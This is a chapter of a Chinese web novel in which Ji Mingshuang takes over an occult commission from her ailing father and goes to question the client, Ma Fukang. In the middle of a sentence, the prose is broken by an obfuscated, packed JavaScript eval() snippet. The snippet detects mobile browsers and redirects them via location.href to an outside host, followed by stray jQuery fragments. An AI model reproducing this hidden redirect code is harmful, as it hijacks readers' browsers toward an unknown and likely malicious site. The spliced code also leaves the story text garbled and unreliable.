“爸,都这个时候了,能不能不要搞这些有的没的。”
“说什么呢。”纪父说,“难道我会刻意为难你吗,只是,你要知道,一旦你选择打开这扇门,你就再也无法关上了,虽然这只是一封普通的委托信,一旦你接下了委托,委托人的身家性命就系在你的身上了。”
纪明霜:“但我只是一个普通打工人,也没这个能耐啊。”
纪父说,“你当然不这么觉得,但委托人会这么觉得啊,唉,你还小呢,时间到了,你就懂了,如果你像我一样,顶着大师的名头,去了委托人的家,委托人全家恨不得跪下来给你磕头,又是给钱,又是送礼的,你再一看委托人那惨样,要是你不把事情解决了,自己心里都过意不去,唉……”
纪明霜低头看着手里的委托信,“是吗……我记得他给你写了很多封信,你怎么只给我一封?”
纪父:“啊,你连这也知道?”
纪明霜点点头,“嗯,我去过他家,但他遮遮掩掩的,什么事都不肯说,后来还把我赶出去了。”
纪父:“这……你是认真的吗,你是我的女儿,还继承了我的天赋,你是不是有点差劲啊?”
“没办法,我唯一擅长的事就是上班的时候摸鱼。”
“……这点倒是随了你妈。”
纪明霜:“啊?”
纪父:“唉,早知道就好好教教你了,还有就是,那本手记,你有好好看吗?”
纪明霜把手记从包包里拿出来,“前面的部分还能看,后面的部分就越来越难懂了……”
纪父接过手记,翻了翻,“不是,这是人类写的字吗?”
纪明霜:“你说呢,这些不是你写的吗?”
“唉,我当时跟‘那些东西’交流了很久,回来之后连人话都不会说了,我以为我慢慢恢复了,没想到精神状态变差之后,这些后遗症就又来了……”
“这样做是很危险的。”
“实际上,干我们这一行也是很危险的,但这也是没办法的事,要不是我的身体坚持不住了,我大概会干这一行干到老死吧。”
“为什么会有后遗症呢?”
纪父翻到了讲义的某一页,这一页全都是各种各样看不懂的文字,“这一页,我原本写的是‘意识投射’的方法,如果你想知道过去发生的事,就要想办法把你的意识放到过去,也可以理解为对自己的一种催眠,你想知道的事情会通过潜意识传递到你的脑海中,所以你要尽量相信自己的直觉,最开始你的正确率可能不高,不过这个能力是可以练习的,如果你要入行,要走的路还很长……”
“爸,我在问后遗症。”
“哦哦,不好意思,说得有点远了,总之,就是经过‘意识投射’之后,或者在‘意识投射’之时进行一些诅咒或者术法的施行,身体会有一些不好的反应,比如某个感官或功能模块的失灵和彻底混乱,我和同行聊过这件事,因人而异吧,有的人会失明失聪,有的人会四肢瘫痪,而我呢,有一段时间,我不认得字,也不会写字,直到现在也没恢复好……不过,这些都只是暂时的,休息一段时间,就会自然康复。”
“你在精神病院的时候,就是在做这个吗?”
“嗯……有点超负荷,但是我已经没有别的办法了。”
纪明霜略加思考,“为什么不把‘意识投射’安排在梦里呢,这样就不会有后遗症了啊。”
纪父把目光从手记上移开,有些没反应过来,“啊?”
纪明霜,“难道你不是吗?”
纪父用力一拍大腿,“你怎么不早说,你还有这本事啊?”
“你也没问过我啊。”纪明霜说,“我之前也在梦中附身别人,或者只是单纯地旁观,从而观测别人的记忆或者过去的事情,我觉得梦是一种很好的媒介。”
纪父有些愣愣地看着自己的女儿,眼里的讶异不似作假,他似乎用了一小段时间来消化这些信息,“好吧,我不得不承认,你比我更强,但是,你真的没有什么不适的感觉吗?”
纪明霜仔细地思考着:“没有啊,和平时睡觉没什么区别。”
“真是惊人,你拥有这样强大的能力,却从未发挥出应有的实力,这是我的问题……”
太阳照在石凳上,已经晒了一段时间,纪明霜坐在了石凳上,嗯,还是很凉。
她打开了委托信,这封信里的内容和阿依发在群里的委托信件有所出入,但大致的内容都差不多,关于他隐瞒的事,瞒得很好,一句都没有提,只是一再恳求纪大师过来帮他,在信里,他说道:“……我再也无法忍受这样无穷无尽的错乱与癫狂,恨不得用死亡来结束这一切,但我还有我妈妈,我不能放弃生命……您是我唯一的希望了,我愿意出的委托价格是……如果您能抽空过来,这是我联系方式……”
纪明霜说,“好吧,我同意接下这份委托了。”
纪父说,“最后一条忠告,也是我的经验之谈,这件事并没有那么难,你要学着用心去感受……”
而后,一阵沉默。
纪父说,“你现在不是应该走了吗,你只有三天的时间。”
纪明霜说,“这个石凳子真的很凉。”
纪父:“所以呢?”
纪明霜问道,“你不走吗?”
纪父看了看四周,有些含糊的说,“不着急……”
纪明霜问道,“那家报刊亭已经不营业了,报刊亭门口怎么会放着一根拐杖?”
纪父说,“你问我干什么,我怎么知道?”
沉默了一会儿之后,纪父说,“那个,女儿,要不你帮我把拐杖拿过来吧……”
纪明霜走到报刊亭前,帮纪父把拐杖拿了过来,拐杖是轻便防滑的鸡翅木款式,实木打造,纹理清晰可见,触感温和,纪明霜把拐杖拿给了纪父,他接过拐杖,勉强支撑着站了起来,他的腿已经瘸了一条,他嘟囔着,“这石凳可真够凉的……”
纪明霜问,“爸,你的腿是怎么回事,这也是后遗症的一种吗?”
纪父摇了摇头,“不是,是我精神失常的时候,一不小心摔的,放心,只是骨裂,休养一段时间就会好。”
纪明霜点了点头,“行,那我先去调查了。”
“行,如果那个委托人再赶你出来,你就告诉他,你是纪大师的女儿,还有就是,如果有疑问的话,可以给我打电话。”
……
谈话结束之后,纪明霜坐在公园外的长椅上发呆,“马复康啊……我现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570642|168984||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在还是认为,他应该被是人下了什么诅咒之类的……”
林然说,“诅咒是有代价的。”
“他认为他的诅咒是跟火灾有关,是不是那天发生了什么……理论上我们可以从火灾事件展开调查,但时间太短了,只有三天,我们去问问他吧,如果他什么都不说,我就给我爸爸打电话,让他给我换一份委托。”
林然:“好。”
去马复康家的路上,纪明霜又遇到了那个坐轮椅的女生子,隔着不远不近的距离,她似乎也看到了纪明霜,于是,她一个失神,又卡在了上次被卡住的地方。
虽然这里也有其他人,但纪明霜还是小跑着过去,帮她把轮椅推了过去,这次,她终于鼓起勇气,抬起头,笑着道谢,“那个,谢谢你……”
她的笑容温柔而腼腆,眼神却纯净,犹如一汪清泉,虽然坐着轮椅,行动不便,但她的衣服鞋子甚至头发都很整齐,她的美甲也很漂亮,平时应该是有人专职照顾的,但不知道为什么,纪明霜每次见到她,她都是孤零零的一个人,显得有些柔弱无助。
纪明霜觉得她有点眼熟,“那个,我们是不是在哪里见过?”
那个女生:“……啊?”
“啊,抱歉,我们上周才见过的,不知道为什么,我好像突然问了奇怪的问题……”
那个女生摆摆手,“没关系的。”
“你这次出来,是为了买东西吗?”
那个女生点点头。
“还是矿泉水吗?”
那个女生又点点头。
纪明霜给她买来一瓶水,她给纪明霜扫了一块钱,但纪明霜还有事要做,不能在这里久留,和女生分别之后,她按照阿依发在群里的信息,找到了马复康家。
到了他家门口,纪明霜敲了敲门,“你好,我是纪明霜,是受了纪大师的委托而来的。”
这次,马复康很快就来开了门,他倚着门框,眼神低沉而阴郁,“是你啊……你说,你是受了纪大师的委托?”
纪明霜点点头,“是的。”
“你以为我会轻易相信你的花言巧语吗,我受够了,你们这些江湖骗子,只是想从我的嘴里听到些谈资罢了,根本没有人关心我的死活!”
纪明霜:“行了,发泄情绪的环节到此为止,确实是纪大师把你的委托转交给了我,但是,如果你不配合我的调查,我就不会再管你的事了。”
“我、我凭什么相信你?”
“爱信不信,我又不是你妈,我不会惯着你,如果你做了坏事,逃避是没有用的,把你所知道的事情说出来,我才能帮助你,不然,就算纪大师来了也没用。”
“纪大师呢,你说你是受了他的委托,那他人呢?”
说着,马复康就要探出头左右张望,纪明霜说,“他的身体出了问题,已经没有办法帮你了,甚至可以这么说,他的情况比你的还要严重。”
马复康:“什么,你不是在骗我吧?”
“我没有必要骗你,而且,如你所见,我的时间很紧,不想再听废话。”纪明霜直直地盯着他,“现在,请我进去,然后把你知道的事情完完整整、一字不落地告诉我,明白吗?”
马复康说,“好、好吧,请进……”